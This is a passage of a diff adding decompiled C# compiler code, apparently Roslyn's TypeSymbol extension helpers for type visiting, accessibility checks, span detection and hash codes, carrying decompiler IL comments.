CompoundUseSiteInfo useSiteInfo) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo localUseSiteInfo = useSiteInfo; + TypeSymbol? typeSymbol = type.VisitType((TypeSymbol type2, Symbol symbol, bool unused) => IsTypeLessVisibleThan(type2, symbol, ref localUseSiteInfo), sym, canDigThroughNullable: true); + useSiteInfo = localUseSiteInfo; + return (object)typeSymbol == null; + } + + private static bool IsTypeLessVisibleThan(TypeSymbol type, Symbol sym, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected I4, but got Unknown + TypeKind typeKind = type.TypeKind; + switch (typeKind - 2) + { + case 0: + case 1: + case 3: + case 5: + case 8: + case 10: + return !((NamedTypeSymbol)type).IsAsRestrictive(sym, ref useSiteInfo); + default: + return false; + } + } + + public static TypeSymbol? VisitType(this TypeSymbol type, Func predicate, T arg, bool canDigThroughNullable = false, bool visitCustomModifiers = false) + { + return default(TypeWithAnnotations).VisitType(type, null, predicate, arg, canDigThroughNullable, useDefaultType: false, visitCustomModifiers); + } + + public static TypeSymbol? VisitType(this TypeWithAnnotations typeWithAnnotationsOpt, TypeSymbol? type, Func? typeWithAnnotationsPredicate, Func? typePredicate, T arg, bool canDigThroughNullable = false, bool useDefaultType = false, bool visitCustomModifiers = false) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected I4, but got Unknown + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Expected I4, but got Unknown + //IL_02c6: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol; + while (true) + { + typeSymbol = type ?? (useDefaultType ? typeWithAnnotationsOpt.DefaultType : typeWithAnnotationsOpt.Type); + bool arg2 = false; + TypeKind typeKind = typeSymbol.TypeKind; + switch (typeKind - 2) + { + case 0: + case 1: + case 3: + case 5: + case 8: + { + NamedTypeSymbol containingType = typeSymbol.ContainingType; + if ((object)containingType != null) + { + arg2 = true; + TypeSymbol typeSymbol2 = default(TypeWithAnnotations).VisitType(containingType, typeWithAnnotationsPredicate, typePredicate, arg, canDigThroughNullable, useDefaultType, visitCustomModifiers); + if ((object)typeSymbol2 != null) + { + return typeSymbol2; + } + } + break; + } + } + if (typeWithAnnotationsOpt.HasType && typeWithAnnotationsPredicate != null) + { + if (typeWithAnnotationsPredicate(typeWithAnnotationsOpt, arg, arg2)) + { + return typeSymbol; + } + } + else if (typePredicate != null && typePredicate(typeSymbol, arg, arg2)) + { + break; + } + if (visitCustomModifiers && typeWithAnnotationsOpt.HasType) + { + ImmutableArray.Enumerator enumerator = typeWithAnnotationsOpt.CustomModifiers.GetEnumerator(); + while (enumerator.MoveNext()) + { + CustomModifier current = enumerator.Current; + TypeSymbol typeSymbol3 = default(TypeWithAnnotations).VisitType(((CSharpCustomModifier)(object)current).ModifierSymbol, typeWithAnnotationsPredicate, typePredicate, arg, canDigThroughNullable, useDefaultType, visitCustomModifiers); + if ((object)typeSymbol3 != null) + { + return typeSymbol3; + } + } + } + typeKind = typeSymbol.TypeKind; + TypeWithAnnotations next; + switch (typeKind - 1) + { + default: + { + if ((int)typeKind != 255) + { + goto case 7; + } + NamedTypeSymbol internalDelegateType = ((FunctionTypeSymbol)typeSymbol).GetInternalDelegateType(); + if ((object)internalDelegateType == null) + { + return null; + } + typeSymbol = internalDelegateType; + goto case 1; + } + case 3: + case 4: + case 10: + case 11: + return null; + case 1: + case 2: + case 5: + case 6: + case 9: + { + if (typeSymbol.IsAnonymousType) + { + ImmutableArray fields = ((AnonymousTypeManager.AnonymousTypeOrDelegatePublicSymbol)typeSymbol).TypeDescriptor.Fields; + if (fields.IsEmpty) + { + return null; + } + int i; + for (i = 0; i < fields.Length - 1; i++) + { + (TypeWithAnnotations, TypeSymbol?) tuple = getNextIterationElements(fields[i].TypeWithAnnotations, canDigThroughNullable); + TypeWithAnnotations item = tuple.Item1; + TypeSymbol item2 = tuple.Item2; + TypeSymbol typeSymbol5 = item.VisitType(item2, typeWithAnnotationsPredicate, typePredicate, arg, canDigThroughNullable, useDefaultType, visitCustomModifiers); + if ((object)typeSymbol5 != null) + { + return typeSymbol5; + } + } + next = fields[i].TypeWithAnnotations; + break; + } + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = ((NamedTypeSymbol)typeSymbol).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + if (typeArgumentsWithAnnotationsNoUseSiteDiagnostics.IsEmpty) + { + return null; + } + int j; + for (j = 0; j < typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length - 1; j++) + { + (TypeWithAnnotations, TypeSymbol?) tuple2 = getNextIterationElements(typeArgumentsWithAnnotationsNoUseSiteDiagnostics[j], canDigThroughNullable); + TypeWithAnnotations item3 = tuple2.Item1; + TypeSymbol item4 = tuple2.Item2; + TypeSymbol typeSymbol6 = item3.VisitType(item4, typeWithAnnotationsPredicate, typePredicate, arg, canDigThroughNullable, useDefaultType, visitCustomModifiers); + if ((object)typeSymbol6 != null) + { + return typeSymbol6; + } + } + next = typeArgumentsWithAnnotationsNoUseSiteDiagnostics[j]; + break; + } + case 0: + next = ((ArrayTypeSymbol)typeSymbol).ElementTypeWithAnnotations; + break; + case 8: + next = ((PointerTypeSymbol)typeSymbol).PointedAtTypeWithAnnotations; + break; + case 12: + { + TypeSymbol typeSymbol4 = visitFunctionPointerType((FunctionPointerTypeSymbol)typeSymbol, typeWithAnnotationsPredicate, typePredicate, arg, useDefaultType, canDigThroughNullable, visitCustomModifiers, out next); + if ((object)typeSymbol4 != null) + { + return typeSymbol4; + } + break; + } + case 7: + throw ExceptionUtilities.UnexpectedValue((object)typeSymbol.TypeKind); + } + typeWithAnnotationsOpt = (canDigThroughNullable ? default(TypeWithAnnotations) : next); + type = (canDigThroughNullable ? next.NullableUnderlyingTypeOrSelf : null); + } + return typeSymbol; + static (TypeWithAnnotations, TypeSymbol?) getNextIterationElements(TypeWithAnnotations item5, bool flag) + { + if (!flag) + { + return (item5, null); + } + return (default(TypeWithAnnotations), item5.NullableUnderlyingTypeOrSelf); + } + static TypeSymbol? visitFunctionPointerType(FunctionPointerTypeSymbol functionPointerTypeSymbol, Func? typeWithAnnotationsPredicate2, Func? typePredicate2, T arg3, bool useDefaultType2, bool flag, bool visitCustomModifiers2, out TypeWithAnnotations reference) + { + MethodSymbol signature = functionPointerTypeSymbol.Signature; + if (signature.ParameterCount == 0) + { + reference = signature.ReturnTypeWithAnnotations; + return null; + } + TypeSymbol typeSymbol7 = (flag ? default(TypeWithAnnotations) : signature.ReturnTypeWithAnnotations).VisitType(flag ? signature.ReturnTypeWithAnnotations.NullableUnderlyingTypeOrSelf : null, typeWithAnnotationsPredicate2, typePredicate2, arg3, flag, useDefaultType2, visitCustomModifiers2); + if ((object)typeSymbol7 != null) + { + reference = default(TypeWithAnnotations); + return typeSymbol7; + } + int k; + for (k = 0; k < signature.ParameterCount - 1; k++) + { + (TypeWithAnnotations, TypeSymbol?) tuple3 = getNextIterationElements(signature.Parameters[k].TypeWithAnnotations, flag); + TypeWithAnnotations item5 = tuple3.Item1; + TypeSymbol item6 = tuple3.Item2; + typeSymbol7 = item5.VisitType(item6, typeWithAnnotationsPredicate2, typePredicate2, arg3, flag, useDefaultType2, visitCustomModifiers2); + if ((object)typeSymbol7 != null) + { + reference = default(TypeWithAnnotations); + return typeSymbol7; + } + } + reference = signature.Parameters[k].TypeWithAnnotations; + return null; + } + } + + internal static bool IsAsRestrictive(this Symbol s1, Symbol sym2, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_023e: Unknown result type (might be due to invalid IL or missing references) + //IL_0245: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected I4, but got Unknown + //IL_01d5: Unknown result type (might be due to invalid IL or missing references) + //IL_01d7: Invalid comparison between Unknown and I4 + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Invalid comparison between Unknown and I4 + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Expected I4, but got Unknown + //IL_022a: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Invalid comparison between Unknown and I4 + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Invalid comparison between Unknown and I4 + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Invalid comparison between Unknown and I4 + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Invalid comparison between Unknown and I4 + //IL_0210: Unknown result type (might be due to invalid IL or missing references) + //IL_0217: Invalid comparison between Unknown and I4 + Accessibility declaredAccessibility = s1.DeclaredAccessibility; + if ((int)declaredAccessibility == 6) + { + return true; + } + Symbol symbol = sym2; + while ((int)symbol.Kind != 12) + { + Accessibility declaredAccessibility2 = symbol.DeclaredAccessibility; + switch (declaredAccessibility - 1) + { + case 3: + if (((int)declaredAccessibility2 == 1 || (int)declaredAccessibility2 == 4 || (int)declaredAccessibility2 == 2) && symbol.ContainingAssembly.HasInternalAccessTo(s1.ContainingAssembly)) + { + return true; + } + break; + case 1: + if (((int)declaredAccessibility2 != 1 && (int)declaredAccessibility2 != 4 && (int)declaredAccessibility2 != 2) || !symbol.ContainingAssembly.HasInternalAccessTo(s1.ContainingAssembly)) + { + break; + } + goto case 2; + case 2: + { + NamedTypeSymbol containingType3 = s1.ContainingType; + if ((object)containingType3 == null) + { + break; + } + if ((int)declaredAccessibility2 == 1) + { + NamedTypeSymbol containingType4 = symbol.ContainingType; + while ((object)containingType4 != null) + { + if (containingType3.IsAccessibleViaInheritance(containingType4, ref useSiteInfo)) + { + return true; + } + containingType4 = containingType4.ContainingType; + } + } + else if ((int)declaredAccessibility2 == 3 || (int)declaredAccessibility2 == 2) + { + NamedTypeSymbol containingType5 = symbol.ContainingType; + if ((object)containingType5 != null && containingType3.IsAccessibleViaInheritance(containingType5, ref useSiteInfo)) + { + return true; + } + } + break; + } + case 4: + { + NamedTypeSymbol containingType6 = s1.ContainingType; + if ((object)containingType6 == null) + { + break; + } + switch (declaredAccessibility2 - 1) + { + case 0: + { + if (symbol.ContainingAssembly.HasInternalAccessTo(s1.ContainingAssembly)) + { + return true; + } + NamedTypeSymbol containingType7 = symbol.ContainingType; + while ((object)containingType7 != null) + { + if (containingType6.IsAccessibleViaInheritance(containingType7, ref useSiteInfo)) + { + return true; + } + containingType7 = containingType7.ContainingType; + } + break; + } + case 3: + if (symbol.ContainingAssembly.HasInternalAccessTo(s1.ContainingAssembly)) + { + return true; + } + break; + case 2: + if (containingType6.IsAccessibleViaInheritance(symbol.ContainingType, ref useSiteInfo)) + { + return true; + } + break; + case 1: + if (symbol.ContainingAssembly.HasInternalAccessTo(s1.ContainingAssembly) || containingType6.IsAccessibleViaInheritance(symbol.ContainingType, ref useSiteInfo)) + { + return true; + } + break; + case 4: + if (symbol.ContainingAssembly.HasInternalAccessTo(s1.ContainingAssembly) && containingType6.IsAccessibleViaInheritance(symbol.ContainingType, ref useSiteInfo)) + { + return true; + } + break; + } + break; + } + case 0: + { + if ((int)declaredAccessibility2 != 1) + { + break; + } + NamedTypeSymbol containingType = s1.ContainingType; + if ((object)containingType == null) + { + break; + } + NamedTypeSymbol originalDefinition = containingType.OriginalDefinition; + NamedTypeSymbol containingType2 = symbol.ContainingType; + while ((object)containingType2 != null) + { + if ((object)containingType2.OriginalDefinition == originalDefinition || ((int)originalDefinition.TypeKind == 12 && (int)containingType2.TypeKind == 12)) + { + return true; + } + containingType2 = containingType2.ContainingType; + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)declaredAccessibility); + } + symbol = symbol.ContainingSymbol; + } + return false; + } + + public static bool IsUnboundGenericType(this TypeSymbol type) + { + if (type is NamedTypeSymbol namedTypeSymbol) + { + return namedTypeSymbol.IsUnboundGenericType; + } + return false; + } + + public static bool IsTopLevelType(this NamedTypeSymbol type) + { + return (object)type.ContainingType == null; + } + + public static bool ContainsTypeParameter(this TypeSymbol type, TypeParameterSymbol? parameter = null) + { + return (object)type.VisitType(s_containsTypeParameterPredicate, parameter) != null; + } + + public static bool ContainsTypeParameter(this TypeSymbol type, MethodSymbol parameterContainer) + { + return (object)type.VisitType(s_isTypeParameterWithSpecificContainerPredicate, parameterContainer) != null; + } + + public static bool ContainsTypeParameters(this TypeSymbol type, HashSet parameters) + { + return (object)type.VisitType>(s_containsTypeParametersPredicate, parameters) != null; + } + + public static bool ContainsMethodTypeParameter(this TypeSymbol type) + { + return (object)type.VisitType(s_containsMethodTypeParameterPredicate, null) != null; + } + + public static bool ContainsDynamic(this TypeSymbol type) + { + return (object)type.VisitType(s_containsDynamicPredicate, null, canDigThroughNullable: true) != null; + } + + internal static bool ContainsNativeIntegerWrapperType(this TypeSymbol type) + { + return (object)type.VisitType((TypeSymbol typeSymbol, object unused1, bool unused2) => typeSymbol.IsNativeIntegerWrapperType, null, canDigThroughNullable: true) != null; + } + + internal static bool ContainsNativeIntegerWrapperType(this TypeWithAnnotations type) + { + return type.Type?.ContainsNativeIntegerWrapperType() ?? false; + } + + internal static bool ContainsErrorType(this TypeSymbol type) + { + return (object)type.VisitType((TypeSymbol type2, object unused1, bool unused2) => type2.IsErrorType(), null, canDigThroughNullable: true) != null; + } + + internal static bool ContainsTuple(this TypeSymbol type) + { + return (object)type.VisitType((TypeSymbol t, object? _1, bool _2) => t.IsTupleType, null) != null; + } + + internal static bool ContainsTupleNames(this TypeSymbol type) + { + return (object)type.VisitType((TypeSymbol t, object? _1, bool _2) => !t.TupleElementNames.IsDefault, null) != null; + } + + internal static bool ContainsFunctionPointer(this TypeSymbol type) + { + return (object)type.VisitType((TypeSymbol t, object? _, bool _) => t.IsFunctionPointer(), null) != null; + } + + internal static bool ContainsPointer(this TypeSymbol type) + { + return (object)type.VisitType(delegate(TypeSymbol t, object? _, bool _) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + TypeKind typeKind = t.TypeKind; + return ((int)typeKind == 9 || (int)typeKind == 13) ? true : false; + }, null) != null; + } + + internal static TypeSymbol? GetNonErrorGuess(this TypeSymbol type) + { + return ExtendedErrorTypeSymbol.ExtractNonErrorType(type); + } + + internal static TypeKind GetNonErrorTypeKindGuess(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ExtendedErrorTypeSymbol.ExtractNonErrorTypeKind(type); + } + + internal static bool IsValidV6SwitchGoverningType(this TypeSymbol type, bool isTargetTypeOfUserDefinedOp = false) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected I4, but got Unknown + if (type.IsNullableType()) + { + type = type.GetNullableUnderlyingType(); + } + if (!isTargetTypeOfUserDefinedOp) + { + type = type.EnumUnderlyingTypeOrSelf(); + } + SpecialType specialType = type.SpecialType; + switch (specialType - 7) + { + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 13: + return true; + case 0: + return !isTargetTypeOfUserDefinedOp; + default: + return false; + } + } + + internal static bool IsSpanChar(this TypeSymbol type) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + if (type is NamedTypeSymbol namedTypeSymbol) + { + NamespaceSymbol containingNamespace = type.ContainingNamespace; + if ((object)containingNamespace != null && containingNamespace.Name == "System") + { + NamespaceSymbol containingNamespace2 = containingNamespace.ContainingNamespace; + if ((object)containingNamespace2 != null && containingNamespace2.IsGlobalNamespace && namedTypeSymbol.MetadataName == "Span`1") + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + if (typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length == 1) + { + return (int)typeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].SpecialType == 8; + } + } + } + } + return false; + } + + internal static bool IsReadOnlySpanChar(this TypeSymbol type) + { + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + if (type is NamedTypeSymbol namedTypeSymbol) + { + NamespaceSymbol containingNamespace = type.ContainingNamespace; + if ((object)containingNamespace != null && containingNamespace.Name == "System") + { + NamespaceSymbol containingNamespace2 = containingNamespace.ContainingNamespace; + if ((object)containingNamespace2 != null && containingNamespace2.IsGlobalNamespace && namedTypeSymbol.MetadataName == "ReadOnlySpan`1") + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + if (typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length == 1) + { + return (int)typeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].SpecialType == 8; + } + } + } + } + return false; + } + + internal static bool IsSpanOrReadOnlySpanChar(this TypeSymbol type) + { + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Invalid comparison between Unknown and I4 + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = default(ImmutableArray); + bool flag; + if (type is NamedTypeSymbol namedTypeSymbol) + { + NamespaceSymbol containingNamespace = type.ContainingNamespace; + if ((object)containingNamespace != null && containingNamespace.Name == "System") + { + NamespaceSymbol containingNamespace2 = containingNamespace.ContainingNamespace; + if ((object)containingNamespace2 != null && containingNamespace2.IsGlobalNamespace) + { + string metadataName = namedTypeSymbol.MetadataName; + if (metadataName == "ReadOnlySpan`1" || metadataName == "Span`1") + { + typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + if (typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length == 1) + { + flag = true; + goto IL_0075; + } + } + } + } + } + flag = false; + goto IL_0075; + IL_0075: + if (flag) + { + return (int)typeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].SpecialType == 8; + } + return false; + } + + internal static bool IsRestrictedType(this TypeSymbol type, bool ignoreSpanLikeTypes = false) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + SpecialType specialType = type.SpecialType; + if (specialType - 36 <= 2) + { + return true; + } + if (!ignoreSpanLikeTypes) + { + return type.IsRefLikeType; + } + return false; + } + + public static bool IsIntrinsicType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected I4, but got Unknown + SpecialType specialType = type.SpecialType; + switch (specialType - 7) + { + case 14: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 15: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + return true; + } + return false; + } + + public static bool IsPartial(this TypeSymbol type) + { + if (type is SourceNamedTypeSymbol sourceNamedTypeSymbol) + { + return sourceNamedTypeSymbol.IsPartial; + } + return false; + } + + public static bool HasFileLocalTypes(this TypeSymbol type) + { + return (object)type.VisitType((TypeSymbol typeSymbol, object _, bool _) => typeSymbol is NamedTypeSymbol namedTypeSymbol && namedTypeSymbol.IsFileLocal, null) != null; + } + + internal static string? GetFileLocalTypeMetadataNamePrefix(this NamedTypeSymbol type) + { + FileIdentifier associatedFileIdentifier = type.AssociatedFileIdentifier; + if (associatedFileIdentifier == null) + { + return null; + } + return GeneratedNames.MakeFileTypeMetadataNamePrefix(associatedFileIdentifier.DisplayFilePath, associatedFileIdentifier.FilePathChecksumOpt); + } + + public static bool IsPointerType(this TypeSymbol type) + { + return type is PointerTypeSymbol; + } + + internal static int FixedBufferElementSizeInBytes(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return type.SpecialType.FixedBufferElementSizeInBytes(); + } + + internal static bool IsValidVolatileFieldType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 9: + return type.SpecialType.IsValidVolatileFieldType(); + case 0: + case 1: + case 2: + case 3: + case 5: + case 6: + case 8: + case 12: + return true; + case 4: + return ((NamedTypeSymbol)type).EnumUnderlyingType.SpecialType.IsValidVolatileFieldType(); + case 10: + return type.IsReferenceType; + case 11: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + default: + return false; + } + } + + public static bool MarkCheckedIfNecessary(this TypeSymbol type, ref HashSet checkedTypes) + { + if (checkedTypes == null) + { + checkedTypes = new HashSet(); + } + return checkedTypes.Add(type); + } + + internal static bool IsVoidPointer(this TypeSymbol type) + { + if (type is PointerTypeSymbol pointerTypeSymbol) + { + return pointerTypeSymbol.PointedAtType.IsVoidType(); + } + return false; + } + + internal static bool IsPrimitiveRecursiveStruct(this TypeSymbol t) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SpecialTypeExtensions.IsPrimitiveRecursiveStruct(t.SpecialType); + } + + internal static int ComputeHashCode(this NamedTypeSymbol type) + { + if (wasConstructedForAnnotations(type)) + { + return type.OriginalDefinition.GetHashCode(); + } + int hashCode = type.OriginalDefinition.GetHashCode(); + hashCode = Hash.Combine(type.ContainingType, hashCode); + if ((object)type.ConstructedFrom != type) + { + ImmutableArray.Enumerator enumerator = type.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + hashCode = Hash.Combine(enumerator.Current.Type, hashCode); + } + } + if (hashCode == 0) + { + hashCode++; + } + return hashCode; + static bool wasConstructedForAnnotations(NamedTypeSymbol containingType) + { + do + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = containingType.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + ImmutableArray typeParameters = containingType.OriginalDefinition.TypeParameters; + for (int i = 0; i < typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; i++) + { + if (!typeParameters[i].Equals(typeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type.OriginalDefinition, (TypeCompareKind)0)) + { + return false; + } + } + containingType = containingType.ContainingType; + } + while ((object)containingType != null && !containingType.IsDefinition); + return true; + } + } + + public static TypeSymbol AsDynamicIfNoPia(this TypeSymbol type, NamedTypeSymbol containingType) + { + if (!type.TryAsDynamicIfNoPia(containingType, out TypeSymbol result)) + { + return type; + } + return result; + } + + public static bool TryAsDynamicIfNoPia(this TypeSymbol type, NamedTypeSymbol containingType, [NotNullWhen(true)] out TypeSymbol? result) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.SpecialType == 1) + { + AssemblySymbol containingAssembly = containingType.ContainingAssembly; + if ((object)containingAssembly != null && containingAssembly.IsLinked && containingType.IsComImport) + { + result = DynamicTypeSymbol.Instance; + return true; + } + } + result = null; + return false; + } + + internal static bool IsVerifierReference(this TypeSymbol type) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if (type.IsReferenceType) + { + return (int)type.TypeKind != 11; + } + return false; + } + + internal static bool IsVerifierValue(this TypeSymbol type) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if (type.IsValueType) + { + return (int)type.TypeKind != 11; + } + return false; + } + + internal static ImmutableArray GetAllTypeParameters(this NamedTypeSymbol type) + { + if ((object)type.ContainingType == null) + { + return type.TypeParameters; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + type.GetAllTypeParameters(instance); + return instance.ToImmutableAndFree(); + } + + internal static void GetAllTypeParameters(this NamedTypeSymbol type, ArrayBuilder result) + { + type.ContainingType?.GetAllTypeParameters(result); + result.AddRange(type.TypeParameters); + } + + internal static TypeParameterSymbol? FindEnclosingTypeParameter(this NamedTypeSymbol type, string name) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + type.GetAllTypeParameters(instance); + TypeParameterSymbol result = null; + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + if (name == current.Name) + { + result = current; + break; + } + } + instance.Free(); + return result; + } + + internal static TypeParameterSymbol? FindEnclosingTypeParameter(this Symbol methodOrType, string name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected I4, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Invalid comparison between Unknown and I4 + while (methodOrType != null) + { + SymbolKind kind = methodOrType.Kind; + switch (kind - 4) + { + default: + if ((int)kind == 15) + { + break; + } + goto case 3; + case 3: + case 4: + case 6: + return null; + case 0: + case 1: + case 2: + case 5: + case 7: + break; + } + ImmutableArray.Enumerator enumerator = methodOrType.GetMemberTypeParameters().GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + if (current.Name == name) + { + return current; + } + } + methodOrType = methodOrType.ContainingSymbol; + } + return null; + } + + internal static bool HasNameQualifier(this NamedTypeSymbol type, string qualifiedName) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + Symbol containingSymbol = type.ContainingSymbol; + if ((int)containingSymbol.Kind != 12) + { + return string.Equals(containingSymbol.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), qualifiedName, StringComparison.Ordinal); + } + NamespaceSymbol namespaceSymbol = (NamespaceSymbol)containingSymbol; + if (namespaceSymbol.IsGlobalNamespace) + { + return qualifiedName.Length == 0; + } + return HasNamespaceName(namespaceSymbol, qualifiedName, StringComparison.Ordinal, qualifiedName.Length); + } + + private static bool HasNamespaceName(NamespaceSymbol @namespace, string namespaceName, StringComparison comparison, int length) + { + if (length == 0) + { + return false; + } + NamespaceSymbol containingNamespace = @namespace.ContainingNamespace; + int num = namespaceName.LastIndexOf('.', length - 1, length); + int indexB = 0; + if (num >= 0) + { + if (containingNamespace.IsGlobalNamespace) + { + return false; + } + if (!HasNamespaceName(containingNamespace, namespaceName, comparison, num)) + { + return false; + } + int num2 = num + 1; + indexB = num2; + length -= num2; + } + else if (!containingNamespace.IsGlobalNamespace) + { + return false; + } + string name = @namespace.Name; + if (name.Length == length) + { + return string.Compare(name, 0, namespaceName, indexB, length, comparison) == 0; + } + return false; + } + + internal static bool IsNonGenericTaskType(this TypeSymbol type, CSharpCompilation compilation) + { + if (!(type is 